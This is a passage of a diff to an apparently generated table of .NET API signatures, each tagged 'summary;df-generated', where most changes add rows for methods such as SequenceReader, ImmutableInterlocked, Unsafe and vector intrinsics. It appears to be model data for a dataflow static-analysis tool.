Microsoft.VisualBasic;FileSystem;Input;(System.Int32,System.Single);summary;df-generated | +| Microsoft.VisualBasic;FileSystem;Input;(System.Int32,System.String);summary;df-generated | | Microsoft.VisualBasic;FileSystem;InputString;(System.Int32,System.Int32);summary;df-generated | | Microsoft.VisualBasic;FileSystem;Kill;(System.String);summary;df-generated | | Microsoft.VisualBasic;FileSystem;LOF;(System.Int32);summary;df-generated | @@ -26065,6 +25914,7 @@ neutral | System.Buffers;ReadOnlySequence;Slice;(System.Int32,System.Int32);summary;df-generated | | System.Buffers;ReadOnlySequence;Slice;(System.Int64,System.Int64);summary;df-generated | | System.Buffers;ReadOnlySequence;ToString;();summary;df-generated | +| System.Buffers;ReadOnlySequence;TryGet;(System.SequencePosition,System.ReadOnlyMemory,System.Boolean);summary;df-generated | | System.Buffers;ReadOnlySequence;get_End;();summary;df-generated | | System.Buffers;ReadOnlySequence;get_First;();summary;df-generated | | System.Buffers;ReadOnlySequence;get_IsEmpty;();summary;df-generated | @@ -26090,6 +25940,12 @@ neutral | System.Buffers;SequenceReader;get_Position;();summary;df-generated | | System.Buffers;SequenceReader;get_Remaining;();summary;df-generated | | System.Buffers;SequenceReader;get_Sequence;();summary;df-generated | +| System.Buffers;SequenceReaderExtensions;TryReadBigEndian;(System.Buffers.SequenceReader,System.Int16);summary;df-generated | +| System.Buffers;SequenceReaderExtensions;TryReadBigEndian;(System.Buffers.SequenceReader,System.Int32);summary;df-generated | +| System.Buffers;SequenceReaderExtensions;TryReadBigEndian;(System.Buffers.SequenceReader,System.Int64);summary;df-generated | +| System.Buffers;SequenceReaderExtensions;TryReadLittleEndian;(System.Buffers.SequenceReader,System.Int16);summary;df-generated | +| System.Buffers;SequenceReaderExtensions;TryReadLittleEndian;(System.Buffers.SequenceReader,System.Int32);summary;df-generated | +| System.Buffers;SequenceReaderExtensions;TryReadLittleEndian;(System.Buffers.SequenceReader,System.Int64);summary;df-generated | | System.Buffers;StandardFormat;Equals;(System.Buffers.StandardFormat);summary;df-generated | | System.Buffers;StandardFormat;Equals;(System.Object);summary;df-generated | | System.Buffers;StandardFormat;GetHashCode;();summary;df-generated | @@ -26198,6 +26054,10 @@ neutral | System.CodeDom.Compiler;CompilerResults;get_Errors;();summary;df-generated | | System.CodeDom.Compiler;CompilerResults;get_Output;();summary;df-generated | | System.CodeDom.Compiler;Executor;ExecWait;(System.String,System.CodeDom.Compiler.TempFileCollection);summary;df-generated | +| System.CodeDom.Compiler;Executor;ExecWaitWithCapture;(System.IntPtr,System.String,System.CodeDom.Compiler.TempFileCollection,System.String,System.String);summary;df-generated | +| System.CodeDom.Compiler;Executor;ExecWaitWithCapture;(System.IntPtr,System.String,System.String,System.CodeDom.Compiler.TempFileCollection,System.String,System.String);summary;df-generated | +| System.CodeDom.Compiler;Executor;ExecWaitWithCapture;(System.String,System.CodeDom.Compiler.TempFileCollection,System.String,System.String);summary;df-generated | +| System.CodeDom.Compiler;Executor;ExecWaitWithCapture;(System.String,System.String,System.CodeDom.Compiler.TempFileCollection,System.String,System.String);summary;df-generated | | System.CodeDom.Compiler;ICodeCompiler;CompileAssemblyFromFile;(System.CodeDom.Compiler.CompilerParameters,System.String);summary;df-generated | | System.CodeDom.Compiler;ICodeCompiler;CompileAssemblyFromFileBatch;(System.CodeDom.Compiler.CompilerParameters,System.String[]);summary;df-generated | | System.CodeDom.Compiler;ICodeCompiler;CompileAssemblyFromSource;(System.CodeDom.Compiler.CompilerParameters,System.String);summary;df-generated | @@ -27143,6 +27003,18 @@ neutral | System.Collections.Immutable;ImmutableHashSet;get_IsEmpty;();summary;df-generated | | System.Collections.Immutable;ImmutableHashSet;get_IsReadOnly;();summary;df-generated | | System.Collections.Immutable;ImmutableHashSet;get_IsSynchronized;();summary;df-generated | +| System.Collections.Immutable;ImmutableInterlocked;Enqueue;(System.Collections.Immutable.ImmutableQueue,T);summary;df-generated | +| System.Collections.Immutable;ImmutableInterlocked;InterlockedCompareExchange;(System.Collections.Immutable.ImmutableArray,System.Collections.Immutable.ImmutableArray,System.Collections.Immutable.ImmutableArray);summary;df-generated | +| System.Collections.Immutable;ImmutableInterlocked;InterlockedExchange;(System.Collections.Immutable.ImmutableArray,System.Collections.Immutable.ImmutableArray);summary;df-generated | +| System.Collections.Immutable;ImmutableInterlocked;InterlockedInitialize;(System.Collections.Immutable.ImmutableArray,System.Collections.Immutable.ImmutableArray);summary;df-generated | +| System.Collections.Immutable;ImmutableInterlocked;Push;(System.Collections.Immutable.ImmutableStack,T);summary;df-generated | +| System.Collections.Immutable;ImmutableInterlocked;TryAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,TValue);summary;df-generated | +| System.Collections.Immutable;ImmutableInterlocked;TryDequeue;(System.Collections.Immutable.ImmutableQueue,T);summary;df-generated | +| System.Collections.Immutable;ImmutableInterlocked;TryPop;(System.Collections.Immutable.ImmutableStack,T);summary;df-generated | +| System.Collections.Immutable;ImmutableInterlocked;TryRemove;(System.Collections.Immutable.ImmutableDictionary,TKey,TValue);summary;df-generated | +| System.Collections.Immutable;ImmutableInterlocked;TryUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,TValue,TValue);summary;df-generated | +| System.Collections.Immutable;ImmutableInterlocked;Update;(System.Collections.Immutable.ImmutableArray,System.Func,System.Collections.Immutable.ImmutableArray>);summary;df-generated | +| System.Collections.Immutable;ImmutableInterlocked;Update;(T,System.Func);summary;df-generated | | System.Collections.Immutable;ImmutableList;Create;();summary;df-generated | | System.Collections.Immutable;ImmutableList;CreateBuilder;();summary;df-generated | | System.Collections.Immutable;ImmutableList;IndexOf;(System.Collections.Immutable.IImmutableList,T);summary;df-generated | @@ -31670,6 +31542,7 @@ neutral | System.Diagnostics.Tracing;EventSource;SetCurrentThreadActivityId;(System.Guid,System.Guid);summary;df-generated | | System.Diagnostics.Tracing;EventSource;Write;(System.String);summary;df-generated | | System.Diagnostics.Tracing;EventSource;Write;(System.String,System.Diagnostics.Tracing.EventSourceOptions);summary;df-generated | +| System.Diagnostics.Tracing;EventSource;Write;(System.String,System.Diagnostics.Tracing.EventSourceOptions,System.Guid,System.Guid,T);summary;df-generated | | System.Diagnostics.Tracing;EventSource;Write;(System.String,System.Diagnostics.Tracing.EventSourceOptions,T);summary;df-generated | | System.Diagnostics.Tracing;EventSource;Write;(System.String,T);summary;df-generated | | System.Diagnostics.Tracing;EventSource;WriteEvent;(System.Int32);summary;df-generated | @@ -31827,6 +31700,8 @@ neutral | System.Diagnostics;Debug+WriteIfInterpolatedStringHandler;AppendLiteral;(System.String);summary;df-generated | | System.Diagnostics;Debug+WriteIfInterpolatedStringHandler;WriteIfInterpolatedStringHandler;(System.Int32,System.Int32,System.Boolean,System.Boolean);summary;df-generated | | System.Diagnostics;Debug;Assert;(System.Boolean);summary;df-generated | +| System.Diagnostics;Debug;Assert;(System.Boolean,System.Diagnostics.Debug+AssertInterpolatedStringHandler);summary;df-generated | +| System.Diagnostics;Debug;Assert;(System.Boolean,System.Diagnostics.Debug+AssertInterpolatedStringHandler,System.Diagnostics.Debug+AssertInterpolatedStringHandler);summary;df-generated | | System.Diagnostics;Debug;Assert;(System.Boolean,System.String);summary;df-generated | | System.Diagnostics;Debug;Assert;(System.Boolean,System.String,System.String);summary;df-generated | | System.Diagnostics;Debug;Assert;(System.Boolean,System.String,System.String,System.Object[]);summary;df-generated | @@ -31842,6 +31717,8 @@ neutral | System.Diagnostics;Debug;Write;(System.Object,System.String);summary;df-generated | | System.Diagnostics;Debug;Write;(System.String);summary;df-generated | | System.Diagnostics;Debug;Write;(System.String,System.String);summary;df-generated | +| System.Diagnostics;Debug;WriteIf;(System.Boolean,System.Diagnostics.Debug+WriteIfInterpolatedStringHandler);summary;df-generated | +| System.Diagnostics;Debug;WriteIf;(System.Boolean,System.Diagnostics.Debug+WriteIfInterpolatedStringHandler,System.String);summary;df-generated | | System.Diagnostics;Debug;WriteIf;(System.Boolean,System.Object);summary;df-generated | | System.Diagnostics;Debug;WriteIf;(System.Boolean,System.Object,System.String);summary;df-generated | | System.Diagnostics;Debug;WriteIf;(System.Boolean,System.String);summary;df-generated | @@ -31851,6 +31728,8 @@ neutral | System.Diagnostics;Debug;WriteLine;(System.String);summary;df-generated | | System.Diagnostics;Debug;WriteLine;(System.String,System.Object[]);summary;df-generated | | System.Diagnostics;Debug;WriteLine;(System.String,System.String);summary;df-generated | +| System.Diagnostics;Debug;WriteLineIf;(System.Boolean,System.Diagnostics.Debug+WriteIfInterpolatedStringHandler);summary;df-generated | +| System.Diagnostics;Debug;WriteLineIf;(System.Boolean,System.Diagnostics.Debug+WriteIfInterpolatedStringHandler,System.String);summary;df-generated | | System.Diagnostics;Debug;WriteLineIf;(System.Boolean,System.Object);summary;df-generated | | System.Diagnostics;Debug;WriteLineIf;(System.Boolean,System.Object,System.String);summary;df-generated | | System.Diagnostics;Debug;WriteLineIf;(System.Boolean,System.String);summary;df-generated | @@ -33602,6 +33481,8 @@ neutral | System.IO.Enumeration;FileSystemEnumerator;MoveNext;();summary;df-generated | | System.IO.Enumeration;FileSystemEnumerator;OnDirectoryFinished;(System.ReadOnlySpan);summary;df-generated | | System.IO.Enumeration;FileSystemEnumerator;Reset;();summary;df-generated | +| System.IO.Enumeration;FileSystemEnumerator;ShouldIncludeEntry;(System.IO.Enumeration.FileSystemEntry);summary;df-generated | +| System.IO.Enumeration;FileSystemEnumerator;ShouldRecurseIntoEntry;(System.IO.Enumeration.FileSystemEntry);summary;df-generated | | System.IO.Enumeration;FileSystemEnumerator;TransformEntry;(System.IO.Enumeration.FileSystemEntry);summary;df-generated | | System.IO.Enumeration;FileSystemEnumerator;get_Current;();summary;df-generated | | System.IO.Enumeration;FileSystemName;MatchesSimpleExpression;(System.ReadOnlySpan,System.ReadOnlySpan,System.Boolean);summary;df-generated | @@ -34316,6 +34197,7 @@ neutral | System.IO;UnmanagedMemoryAccessor;Write;(System.Int64,System.UInt16);summary;df-generated | | System.IO;UnmanagedMemoryAccessor;Write;(System.Int64,System.UInt32);summary;df-generated | | System.IO;UnmanagedMemoryAccessor;Write;(System.Int64,System.UInt64);summary;df-generated | +| System.IO;UnmanagedMemoryAccessor;Write;(System.Int64,T);summary;df-generated | | System.IO;UnmanagedMemoryAccessor;WriteArray;(System.Int64,T[],System.Int32,System.Int32);summary;df-generated | | System.IO;UnmanagedMemoryAccessor;get_CanRead;();summary;df-generated | | System.IO;UnmanagedMemoryAccessor;get_CanWrite;();summary;df-generated | @@ -35763,6 +35645,8 @@ neutral | System.Net.Sockets;Socket;BeginReceive;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.Sockets.SocketError,System.AsyncCallback,System.Object);summary;df-generated | | System.Net.Sockets;Socket;BeginReceive;(System.Collections.Generic.IList>,System.Net.Sockets.SocketFlags,System.AsyncCallback,System.Object);summary;df-generated | | System.Net.Sockets;Socket;BeginReceive;(System.Collections.Generic.IList>,System.Net.Sockets.SocketFlags,System.Net.Sockets.SocketError,System.AsyncCallback,System.Object);summary;df-generated | +| System.Net.Sockets;Socket;BeginReceiveFrom;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.AsyncCallback,System.Object);summary;df-generated | +| System.Net.Sockets;Socket;BeginReceiveMessageFrom;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.AsyncCallback,System.Object);summary;df-generated | | System.Net.Sockets;Socket;BeginSend;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.AsyncCallback,System.Object);summary;df-generated | | System.Net.Sockets;Socket;BeginSend;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.Sockets.SocketError,System.AsyncCallback,System.Object);summary;df-generated | | System.Net.Sockets;Socket;BeginSend;(System.Collections.Generic.IList>,System.Net.Sockets.SocketFlags,System.AsyncCallback,System.Object);summary;df-generated | @@ -35795,6 +35679,8 @@ neutral | System.Net.Sockets;Socket;EndDisconnect;(System.IAsyncResult);summary;df-generated | | System.Net.Sockets;Socket;EndReceive;(System.IAsyncResult);summary;df-generated | | System.Net.Sockets;Socket;EndReceive;(System.IAsyncResult,System.Net.Sockets.SocketError);summary;df-generated | +| System.Net.Sockets;Socket;EndReceiveFrom;(System.IAsyncResult,System.Net.EndPoint);summary;df-generated | +| System.Net.Sockets;Socket;EndReceiveMessageFrom;(System.IAsyncResult,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.Net.Sockets.IPPacketInformation);summary;df-generated | | System.Net.Sockets;Socket;EndSend;(System.IAsyncResult);summary;df-generated | | System.Net.Sockets;Socket;EndSend;(System.IAsyncResult,System.Net.Sockets.SocketError);summary;df-generated | | System.Net.Sockets;Socket;EndSendFile;(System.IAsyncResult);summary;df-generated | @@ -37613,6 +37499,7 @@ neutral | System.Numerics;Vector;Store;(System.Numerics.Vector,T*);summary;df-generated | | System.Numerics;Vector;StoreAligned;(System.Numerics.Vector,T*);summary;df-generated | | System.Numerics;Vector;StoreAlignedNonTemporal;(System.Numerics.Vector,T*);summary;df-generated | +| System.Numerics;Vector;StoreUnsafe;(System.Numerics.Vector,T);summary;df-generated | | System.Numerics;Vector;StoreUnsafe;(System.Numerics.Vector,T,System.UIntPtr);summary;df-generated | | System.Numerics;Vector;Subtract;(System.Numerics.Vector,System.Numerics.Vector);summary;df-generated | | System.Numerics;Vector;Sum;(System.Numerics.Vector);summary;df-generated | @@ -38390,6 +38277,9 @@ neutral | System.Reflection.Metadata.Ecma335;ScalarEncoder;NullArray;();summary;df-generated | | System.Reflection.Metadata.Ecma335;ScalarEncoder;SystemType;(System.String);summary;df-generated | | System.Reflection.Metadata.Ecma335;ScalarEncoder;get_Builder;();summary;df-generated | +| System.Reflection.Metadata.Ecma335;SignatureDecoder;DecodeLocalSignature;(System.Reflection.Metadata.BlobReader);summary;df-generated | +| System.Reflection.Metadata.Ecma335;SignatureDecoder;DecodeMethodSignature;(System.Reflection.Metadata.BlobReader);summary;df-generated | +| System.Reflection.Metadata.Ecma335;SignatureDecoder;DecodeMethodSpecificationSignature;(System.Reflection.Metadata.BlobReader);summary;df-generated | | System.Reflection.Metadata.Ecma335;SignatureTypeEncoder;Boolean;();summary;df-generated | | System.Reflection.Metadata.Ecma335;SignatureTypeEncoder;Byte;();summary;df-generated | | System.Reflection.Metadata.Ecma335;SignatureTypeEncoder;Char;();summary;df-generated | @@ -38510,6 +38400,7 @@ neutral | System.Reflection.Metadata;BlobBuilder;WriteConstant;(System.Object);summary;df-generated | | System.Reflection.Metadata;BlobBuilder;WriteContentTo;(System.IO.Stream);summary;df-generated | | System.Reflection.Metadata;BlobBuilder;WriteContentTo;(System.Reflection.Metadata.BlobBuilder);summary;df-generated | +| System.Reflection.Metadata;BlobBuilder;WriteContentTo;(System.Reflection.Metadata.BlobWriter);summary;df-generated | | System.Reflection.Metadata;BlobBuilder;WriteDateTime;(System.DateTime);summary;df-generated | | System.Reflection.Metadata;BlobBuilder;WriteDecimal;(System.Decimal);summary;df-generated | | System.Reflection.Metadata;BlobBuilder;WriteDouble;(System.Double);summary;df-generated | @@ -39969,6 +39860,7 @@ neutral | System.Runtime.CompilerServices;AccessedThroughPropertyAttribute;get_PropertyName;();summary;df-generated | | System.Runtime.CompilerServices;AsyncIteratorMethodBuilder;Complete;();summary;df-generated | | System.Runtime.CompilerServices;AsyncIteratorMethodBuilder;Create;();summary;df-generated | +| System.Runtime.CompilerServices;AsyncIteratorMethodBuilder;MoveNext;(TStateMachine);summary;df-generated | | System.Runtime.CompilerServices;AsyncIteratorStateMachineAttribute;AsyncIteratorStateMachineAttribute;(System.Type);summary;df-generated | | System.Runtime.CompilerServices;AsyncMethodBuilderAttribute;AsyncMethodBuilderAttribute;(System.Type);summary;df-generated | | System.Runtime.CompilerServices;AsyncMethodBuilderAttribute;get_BuilderType;();summary;df-generated | @@ -39977,21 +39869,28 @@ neutral | System.Runtime.CompilerServices;AsyncTaskMethodBuilder;SetException;(System.Exception);summary;df-generated | | System.Runtime.CompilerServices;AsyncTaskMethodBuilder;SetResult;();summary;df-generated | | System.Runtime.CompilerServices;AsyncTaskMethodBuilder;SetStateMachine;(System.Runtime.CompilerServices.IAsyncStateMachine);summary;df-generated | +| System.Runtime.CompilerServices;AsyncTaskMethodBuilder;Start;(TStateMachine);summary;df-generated | | System.Runtime.CompilerServices;AsyncTaskMethodBuilder;Create;();summary;df-generated | | System.Runtime.CompilerServices;AsyncTaskMethodBuilder;SetException;(System.Exception);summary;df-generated | | System.Runtime.CompilerServices;AsyncTaskMethodBuilder;SetStateMachine;(System.Runtime.CompilerServices.IAsyncStateMachine);summary;df-generated | +| System.Runtime.CompilerServices;AsyncTaskMethodBuilder;Start;(TStateMachine);summary;df-generated | | System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;Create;();summary;df-generated | | System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;SetException;(System.Exception);summary;df-generated | | System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;SetResult;();summary;df-generated | | System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;SetStateMachine;(System.Runtime.CompilerServices.IAsyncStateMachine);summary;df-generated | +| System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;Start;(TStateMachine);summary;df-generated | | System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;get_Task;();summary;df-generated | | System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;Create;();summary;df-generated | | System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;SetException;(System.Exception);summary;df-generated | | System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;SetStateMachine;(System.Runtime.CompilerServices.IAsyncStateMachine);summary;df-generated | +| System.Runtime.CompilerServices;AsyncValueTaskMethodBuilder;Start;(TStateMachine);summary;df-generated | +| System.Runtime.CompilerServices;AsyncVoidMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);summary;df-generated | +| System.Runtime.CompilerServices;AsyncVoidMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);summary;df-generated | | System.Runtime.CompilerServices;AsyncVoidMethodBuilder;Create;();summary;df-generated | | System.Runtime.CompilerServices;AsyncVoidMethodBuilder;SetException;(System.Exception);summary;df-generated | | System.Runtime.CompilerServices;AsyncVoidMethodBuilder;SetResult;();summary;df-generated | | System.Runtime.CompilerServices;AsyncVoidMethodBuilder;SetStateMachine;(System.Runtime.CompilerServices.IAsyncStateMachine);summary;df-generated | +| System.Runtime.CompilerServices;AsyncVoidMethodBuilder;Start;(TStateMachine);summary;df-generated | | System.Runtime.CompilerServices;CallSite;Create;(System.Type,System.Runtime.CompilerServices.CallSiteBinder);summary;df-generated | | System.Runtime.CompilerServices;CallSite;Create;(System.Runtime.CompilerServices.CallSiteBinder);summary;df-generated | | System.Runtime.CompilerServices;CallSite;get_Update;();summary;df-generated | @@ -40098,10 +39997,12 @@ neutral | System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;SetException;(System.Exception);summary;df-generated | | System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;SetResult;();summary;df-generated | | System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;SetStateMachine;(System.Runtime.CompilerServices.IAsyncStateMachine);summary;df-generated | +| System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;Start;(TStateMachine);summary;df-generated | | System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;get_Task;();summary;df-generated | | System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;Create;();summary;df-generated | | System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;SetException;(System.Exception);summary;df-generated | | System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;SetStateMachine;(System.Runtime.CompilerServices.IAsyncStateMachine);summary;df-generated | +| System.Runtime.CompilerServices;PoolingAsyncValueTaskMethodBuilder;Start;(TStateMachine);summary;df-generated | | System.Runtime.CompilerServices;ReadOnlyCollectionBuilder;Contains;(System.Object);summary;df-generated | | System.Runtime.CompilerServices;ReadOnlyCollectionBuilder;Contains;(T);summary;df-generated | | System.Runtime.CompilerServices;ReadOnlyCollectionBuilder;IndexOf;(System.Object);summary;df-generated | @@ -40169,7 +40070,11 @@ neutral | System.Runtime.CompilerServices;TypeForwardedToAttribute;TypeForwardedToAttribute;(System.Type);summary;df-generated | | System.Runtime.CompilerServices;TypeForwardedToAttribute;get_Destination;();summary;df-generated | | System.Runtime.CompilerServices;Unsafe;Add;(System.Void*,System.Int32);summary;df-generated | +| System.Runtime.CompilerServices;Unsafe;Add;(T,System.Int32);summary;df-generated | +| System.Runtime.CompilerServices;Unsafe;Add;(T,System.IntPtr);summary;df-generated | +| System.Runtime.CompilerServices;Unsafe;Add;(T,System.UIntPtr);summary;df-generated | | System.Runtime.CompilerServices;Unsafe;AddByteOffset;(T,System.IntPtr);summary;df-generated | +| System.Runtime.CompilerServices;Unsafe;AddByteOffset;(T,System.UIntPtr);summary;df-generated | | System.Runtime.CompilerServices;Unsafe;AreSame;(T,T);summary;df-generated | | System.Runtime.CompilerServices;Unsafe;As;(System.Object);summary;df-generated | | System.Runtime.CompilerServices;Unsafe;As;(TFrom);summary;df-generated | @@ -40179,6 +40084,7 @@ neutral | System.Runtime.CompilerServices;Unsafe;BitCast;(TFrom);summary;df-generated | | System.Runtime.CompilerServices;Unsafe;ByteOffset;(T,T);summary;df-generated | | System.Runtime.CompilerServices;Unsafe;Copy;(System.Void*,T);summary;df-generated | +| System.Runtime.CompilerServices;Unsafe;Copy;(T,System.Void*);summary;df-generated | | System.Runtime.CompilerServices;Unsafe;CopyBlock;(System.Byte,System.Byte,System.UInt32);summary;df-generated | | System.Runtime.CompilerServices;Unsafe;CopyBlock;(System.Void*,System.Void*,System.UInt32);summary;df-generated | | System.Runtime.CompilerServices;Unsafe;CopyBlockUnaligned;(System.Byte,System.Byte,System.UInt32);summary;df-generated | @@ -40197,7 +40103,11 @@ neutral | System.Runtime.CompilerServices;Unsafe;SizeOf;();summary;df-generated | | System.Runtime.CompilerServices;Unsafe;SkipInit;(T);summary;df-generated | | System.Runtime.CompilerServices;Unsafe;Subtract;(System.Void*,System.Int32);summary;df-generated | +| System.Runtime.CompilerServices;Unsafe;Subtract;(T,System.Int32);summary;df-generated | +| System.Runtime.CompilerServices;Unsafe;Subtract;(T,System.IntPtr);summary;df-generated | +| System.Runtime.CompilerServices;Unsafe;Subtract;(T,System.UIntPtr);summary;df-generated | | System.Runtime.CompilerServices;Unsafe;SubtractByteOffset;(T,System.IntPtr);summary;df-generated | +| System.Runtime.CompilerServices;Unsafe;SubtractByteOffset;(T,System.UIntPtr);summary;df-generated | | System.Runtime.CompilerServices;Unsafe;Unbox;(System.Object);summary;df-generated | | System.Runtime.CompilerServices;Unsafe;Write;(System.Void*,T);summary;df-generated | | System.Runtime.CompilerServices;Unsafe;WriteUnaligned;(System.Byte,T);summary;df-generated | @@ -41048,6 +40958,7 @@ neutral | System.Runtime.InteropServices;MemoryMarshal;CreateReadOnlySpan;(T,System.Int32);summary;df-generated | | System.Runtime.InteropServices;MemoryMarshal;CreateReadOnlySpanFromNullTerminated;(System.Byte*);summary;df-generated | | System.Runtime.InteropServices;MemoryMarshal;CreateReadOnlySpanFromNullTerminated;(System.Char*);summary;df-generated | +| System.Runtime.InteropServices;MemoryMarshal;CreateSpan;(T,System.Int32);summary;df-generated | | System.Runtime.InteropServices;MemoryMarshal;GetArrayDataReference;(System.Array);summary;df-generated | | System.Runtime.InteropServices;MemoryMarshal;GetArrayDataReference;(T[]);summary;df-generated | | System.Runtime.InteropServices;MemoryMarshal;GetReference;(System.ReadOnlySpan);summary;df-generated | @@ -41293,6 +41204,7 @@ neutral | System.Runtime.InteropServices;SafeArrayTypeMismatchException;SafeArrayTypeMismatchException;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);summary;df-generated | | System.Runtime.InteropServices;SafeArrayTypeMismatchException;SafeArrayTypeMismatchException;(System.String);summary;df-generated | | System.Runtime.InteropServices;SafeArrayTypeMismatchException;SafeArrayTypeMismatchException;(System.String,System.Exception);summary;df-generated | +| System.Runtime.InteropServices;SafeBuffer;AcquirePointer;(System.Byte*);summary;df-generated | | System.Runtime.InteropServices;SafeBuffer;Initialize;(System.UInt32,System.UInt32);summary;df-generated | | System.Runtime.InteropServices;SafeBuffer;Initialize;(System.UInt64);summary;df-generated | | System.Runtime.InteropServices;SafeBuffer;Initialize;(System.UInt32);summary;df-generated | @@ -41315,6 +41227,7 @@ neutral | System.Runtime.InteropServices;SafeHandle;get_IsClosed;();summary;df-generated | | System.Runtime.InteropServices;SafeHandle;get_IsInvalid;();summary;df-generated | | System.Runtime.InteropServices;SequenceMarshal;TryGetArray;(System.Buffers.ReadOnlySequence,System.ArraySegment);summary;df-generated | +| System.Runtime.InteropServices;SequenceMarshal;TryRead;(System.Buffers.SequenceReader,T);summary;df-generated | | System.Runtime.InteropServices;StructLayoutAttribute;StructLayoutAttribute;(System.Int16);summary;df-generated | | System.Runtime.InteropServices;StructLayoutAttribute;StructLayoutAttribute;(System.Runtime.InteropServices.LayoutKind);summary;df-generated | | System.Runtime.InteropServices;StructLayoutAttribute;get_Value;();summary;df-generated | @@ -49201,6 +49114,7 @@ neutral | System.Runtime.Intrinsics;Vector64;Store;(System.Runtime.Intrinsics.Vector64,T*);summary;df-generated | | System.Runtime.Intrinsics;Vector64;StoreAligned;(System.Runtime.Intrinsics.Vector64,T*);summary;df-generated | | System.Runtime.Intrinsics;Vector64;StoreAlignedNonTemporal;(System.Runtime.Intrinsics.Vector64,T*);summary;df-generated | +| System.Runtime.Intrinsics;Vector64;StoreUnsafe;(System.Runtime.Intrinsics.Vector64,T);summary;df-generated | | System.Runtime.Intrinsics;Vector64;StoreUnsafe;(System.Runtime.Intrinsics.Vector64,T,System.UIntPtr);summary;df-generated | | System.Runtime.Intrinsics;Vector64;Subtract;(System.Runtime.Intrinsics.Vector64,System.Runtime.Intrinsics.Vector64);summary;df-generated | | System.Runtime.Intrinsics;Vector64;Sum;(System.Runtime.Intrinsics.Vector64);summary;df-generated | @@ -49486,6 +49400,7 @@ neutral | System.Runtime.Intrinsics;Vector128;Store;(System.Runtime.Intrinsics.Vector128,T*);summary;df-generated | | System.Runtime.Intrinsics;Vector128;StoreAligned;(System.Runtime.Intrinsics.Vector128,T*);summary;df-generated | | System.Runtime.Intrinsics;Vector128;StoreAlignedNonTemporal;(System.Runtime.Intrinsics.Vector128,T*);summary;df-generated | +| System.Runtime.Intrinsics;Vector128;StoreUnsafe;(System.Runtime.Intrinsics.Vector128,T);summary;df-generated | | System.Runtime.Intrinsics;Vector128;StoreUnsafe;(System.Runtime.Intrinsics.Vector128,T,System.UIntPtr);summary;df-generated | | System.Runtime.Intrinsics;Vector128;Subtract;(System.Runtime.Intrinsics.Vector128,System.Runtime.Intrinsics.Vector128);summary;df-generated | | System.Runtime.Intrinsics;Vector128;Sum;(System.Runtime.Intrinsics.Vector128);summary;df-generated | @@ -49764,6 +49679,7 @@ neutral | System.Runtime.Intrinsics;Vector256;Store;(System.Runtime.Intrinsics.Vector256,T*);summary;df-generated | | System.Runtime.Intrinsics;Vector256;StoreAligned;(System.Runtime.Intrinsics.Vector256,T*);summary;df-generated | | System.Runtime.Intrinsics;Vector256;StoreAlignedNonTemporal;(System.Runtime.Intrinsics.Vector256,T*);summary;df-generated | +| System.Runtime.Intrinsics;Vector256;StoreUnsafe;(System.Runtime.Intrinsics.Vector256,T);summary;df-generated | | System.Runtime.Intrinsics;Vector256;StoreUnsafe;(System.Runtime.Intrinsics.Vector256,T,System.UIntPtr);summary;df-generated | | System.Runtime.Intrinsics;Vector256;Subtract;(System.Runtime.Intrinsics.Vector256,System.Runtime.Intrinsics.Vector256);summary;df-generated | | System.Runtime.Intrinsics;Vector256;Sum;(System.Runtime.Intrinsics.Vector256);summary;df-generated | @@ -50043,6 +49959,7 @@ neutral | System.Runtime.Intrinsics;Vector512;Store;(System.Runtime.Intrinsics.Vector512,T*);summary;df-generated | | System.Runtime.Intrinsics;Vector512;StoreAligned;(System.Runtime.Intrinsics.Vector512,T*);summary;df-generated | | System.Runtime.Intrinsics;Vector512;StoreAlignedNonTemporal;(System.Runtime.Intrinsics.Vector512,T*);summary;df-generated | +| System.Runtime.Intrinsics;Vector512;StoreUnsafe;(System.Runtime.Intrinsics.Vector512,T);summary;df-generated | | System.Runtime.Intrinsics;Vector512;StoreUnsafe;(System.Runtime.Intrinsics.Vector512,T,System.UIntPtr);summary;df-generated | | System.Runtime.Intrinsics;Vector512;Subtract;(System.Runtime.Intrinsics.Vector512,System.Runtime.Intrinsics.Vector512);summary;df-generated | | System.Runtime.Intrinsics;Vector512;Sum;(System.Runtime.Intrinsics.Vector512);summary;df-generated | @@ -53450,6 +53367,7 @@ neutral | System.Text.Json.Nodes;JsonNode;Parse;(System.IO.Stream,System.Nullable,System.Text.Json.JsonDocumentOptions);summary;df-generated | | System.Text.Json.Nodes;JsonNode;Parse;(System.ReadOnlySpan,System.Nullable,System.Text.Json.JsonDocumentOptions);summary;df-generated | | System.Text.Json.Nodes;JsonNode;Parse;(System.String,System.Nullable,System.Text.Json.JsonDocumentOptions);summary;df-generated | +| System.Text.Json.Nodes;JsonNode;Parse;(System.Text.Json.Utf8JsonReader,System.Nullable);summary;df-generated | | System.Text.Json.Nodes;JsonNode;ParseAsync;(System.IO.Stream,System.Nullable,System.Text.Json.JsonDocumentOptions,System.Threading.CancellationToken);summary;df-generated | | 